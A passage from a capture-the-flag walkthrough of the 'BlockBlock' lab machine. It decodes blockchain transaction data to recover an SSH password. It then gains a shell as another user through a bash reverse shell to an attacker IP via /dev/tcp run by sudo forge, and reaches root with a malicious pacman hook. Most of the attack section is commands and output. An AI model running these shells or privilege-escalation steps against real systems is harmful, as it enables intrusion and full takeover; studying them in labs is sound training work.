Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"}],"name":"getUserMessagesRange","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"sender","type":"string"},{"internalType":"string","name":"content","type":"string"}],"name":"sendMessage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
We can then go to this page and pass the content of .abi
files and Input
field. We can see that it works, for example, passing the contents of Chat_sol_Chat.abi
generated file and the previous Input
value extracted from Firefox
console:
We can see the content of our last message with bot that was test
by gunzf0x
(our created user).
So we now need to get the Input
data for other blocks until some of them show useful info. Eventually, 0x1
shows an interesting (and huge) Input
message:
0x60a06040<SNIP>65000000000000
Pasting it to the decoder webpage returns the output:
{
"method": null,
"types": [
"address"
],
"inputs": [
"0x0000000000000000000000000000000000000005"
],
"names": [
"_database"
]
}
Now, since eth_getBlockNumber
gets a number (integer) in hexadecimal, we can get content of different blocks starting from block 0 (0x0
in hex), then block 1 (0x1
) in hex and so on… Block 1
(or 0x1
) returns something interesting. If, in our session with as Admin
at Firefox
we pass to the developer console the function:
fetch('http://10.10.11.43/api/json-rpc', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBlockByNumber",
params: ["0x1", true],
id: 1
})
})
.then(response => response.json())
.then(data => {
console.log(data);
})
.catch(error => {
console.error('Error:', error);
});
We get at Transaction
tag, the Input
response:
If we copy and paste it into the decoder webpage it just shows a message almost identical as we have found previously:
Does not show much.
However, since this content is hex encoded, we can try to see that content going to CyberChef
webpage, and pass From Hex
that content. At the very end we can see something interesting:
We have the texts keira
and SomedayBitCoinWillCollapse
. We can remember from the Admin
panel that keira
already existed as another user.
We can check if this is a password for the user keira
with NetExec
through, for example, SSH
:
❯ netexec ssh 10.10.11.43 -u 'keira' -p 'SomedayBitCoinWillCollapse'
SSH 10.10.11.43 22 10.10.11.43 [*] SSH-2.0-OpenSSH_9.7
SSH 10.10.11.43 22 10.10.11.43 [+] keira:SomedayBitCoinWillCollapse Linux - Shell access!
It worked.
Use the decoded password to log in through SSH
as keira
user:
❯ sshpass -p 'SomedayBitCoinWillCollapse' ssh -o stricthostkeychecking=no keira@10.10.11.43
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
Last login: Mon Nov 18 16:50:13 2024 from 10.10.14.23
[keira@blockblock ~]$
We can grab the user flag.
Root Link to heading
Checking what can this user run with sudo
shows that we can run a binary as paul
user:
[keira@blockblock ~]$ sudo -l
User keira may run the following commands on blockblock:
(paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
If we attempt to read or check what is this file we cannot read it:
[keira@blockblock ~]$ file /home/paul/.foundry/bin/forge
/home/paul/.foundry/bin/forge: cannot open `/home/paul/.foundry/bin/forge' (Permission denied)
[keira@blockblock ~]$ ls -ld /home/paul/.foundry/bin/forge
ls: cannot access '/home/paul/.foundry/bin/forge': Permission denied
[keira@blockblock ~]$ ls -la /home/paul/.foundry/
ls: cannot access '/home/paul/.foundry/': Permission denied
If we directly execute is as paul
user with sudo
we get:
[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge
Build, test, fuzz, debug and deploy Solidity contracts
Usage: forge <COMMAND>
Commands:
bind Generate Rust bindings for smart contracts
build Build the project's smart contracts [aliases: b, compile]
cache Manage the Foundry cache
clean Remove the build artifacts and cache directories [aliases: cl]
clone Clone a contract from Etherscan
completions Generate shell completions script [aliases: com]
config Display the current config [aliases: co]
coverage Generate coverage reports
create Deploy a smart contract [aliases: c]
debug Debugs a single smart contract as a script [aliases: d]
doc Generate documentation for the project
flatten Flatten a source file and all of its imports into one file [aliases: f]
fmt Format Solidity source files
geiger Detects usage of unsafe cheat codes in a project and its dependencies
generate Generate scaffold files
generate-fig-spec Generate Fig autocompletion spec [aliases: fig]
help Print this message or the help of the given subcommand(s)
init Create a new Forge project
inspect Get specialized information about a smart contract [aliases: in]
install Install one or multiple dependencies [aliases: i]
remappings Get the automatically inferred remappings for the project [aliases: re]
remove Remove one or multiple dependencies [aliases: rm]
script Run a smart contract as a script, building transactions that can be sent onchain
selectors Function selector utilities [aliases: se]
snapshot Create a snapshot of each test's gas usage [aliases: s]
test Run the project's tests [aliases: t]
tree Display a tree visualization of the project's dependency graph [aliases: tr]
update Update one or multiple dependencies [aliases: u]
verify-bytecode Verify the deployed bytecode against its source [aliases: vb]
verify-check Check verification status on Etherscan [aliases: vc]
verify-contract Verify smart contracts on Etherscan [aliases: v]
Options:
-h, --help Print help
-V, --version Print version
Find more information in the book: http://book.getfoundry.sh/reference/forge/forge.html
Searching for forge command blockchain
reaches the same page pointed out in the previous help message for forge.
forge
is a set of tools to build, test, fuzz, debug and deploy Solidity
smart contracts.Eventually, after looking some of documentation, we find a command for forge
called init. In short, this command generates a script. We can inititate a new Forge
project and then execute it using build command passing a malicious file through --use
parameter.
[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline
Initializing /dev/shm/exploit...
Initialized forge project
[keira@blockblock ~]$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/9001 0>&1"' > /dev/shm/rev
[keira@blockblock ~]$ chmod +x /dev/shm/rev
Start a listener on netcat
on port 9001
and execute it:
[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /dev/shm/rev
We get a shell as paul
user:
❯ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52068
[paul@blockblock keira]$ whoami
whoami
paul
To gain access to this new user, create a new SSH
key in our attacker machine. Create it:
❯ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): /home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
<SNIP>
and paste the content of id_ed25519.pub
from our attacker machine to /home/paul/.ssh/authorized_keys
file:
[paul@blockblock ~]$ mkdir .ssh
[paul@blockblock ~]$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHiTrRFxut1pmazPHVSwexdp+tTpF56pEnXlvBG2+biI gunzf0x@kali' >> /home/paul/.ssh/authorized_keys
We can connect through SSH
as paul
using our generated key:
❯ ssh -i id_ed25519 paul@10.10.11.43
[paul@blockblock ~]$
This new user can run pacman
with sudo
as any user:
[paul@blockblock ~]$ sudo -l
User paul may run the following commands on blockblock:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
Searching how can we execute commands with pacman
we find something called hooks
. This post from Arch Linux forum shows how we can execute commands. We can open a text editor like Vim
in the victim machine and create a hook:
[paul@blockblock ~]$ mkdir hooks
[paul@blockblock ~]$ cd /home/paul/hooks
Where we put the following content at /home/paul/hooks/rev.hooks
:
[Trigger]
Operation = Install
Type = Package
Target = *
[Action]
Description = Revshell
When = PostTransaction
Exec = /dev/shm/rev
Here we are executing and “recycling” the exploit /dev/shm/rev
that sent us a reverse shell as paul
user.
Next, we need to create a custom package to call this hook. This file needs to be called PKGBUILD
. We do this using Vim
again:
[paul@blockblock hooks]$ vim PKGBUILD
with the content:
pkgname=revpkg
pkgver=1.0
pkgrel=1
arch=('any')
pkgdesc="Evil package"
license=('GPL')
Then, create a custom package using makepkg
file along with -cf
file (which will search for PKGBUILD
file in the current directory):
[paul@blockblock hooks]$ makepkg -cf
==> Making package: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:42 AM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
==> Extracting sources...
==> Entering fakeroot environment...
==> Tidying install...
-> Removing libtool files...
-> Purging unwanted files...
-> Removing static library files...
-> Stripping unneeded symbols from binaries and libraries...
-> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "revpkg"...
-> Generating .PKGINFO file...
-> Generating .BUILDINFO file...
-> Generating .MTREE file...
-> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:44 AM UTC)
==> Cleaning up...
From the output we can see the package created is called revpkg 1.0-1
.
Start a new netcat
listener on port 9001
.
Then, use pacman
installing the custom package along with out custom hook:
[paul@blockblock hooks]$ sudo /usr/bin/pacman --hookdir /home/paul/hooks -U revpkg-1.0-1-any.pkg.tar.zst --noconfirm
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) revpkg-1.0-1
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [##########################] 100%
(1/1) checking package integrity [##########################] 100%
(1/1) loading package files [##########################] 100%
(1/1) checking for file conflicts [##########################] 100%
(1/1) checking available disk space [##########################] 100%
:: Processing package changes...
(1/1) installing revpkg [##########################] 100%
:: Running post-transaction hooks...
(1/1) Revshell
and in our netcat
listener we get a connection as root
:
❯ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52530
[root@blockblock /]# whoami
whoami
root
GG. We can grab the flag at /root
directory.
~Happy Hacking.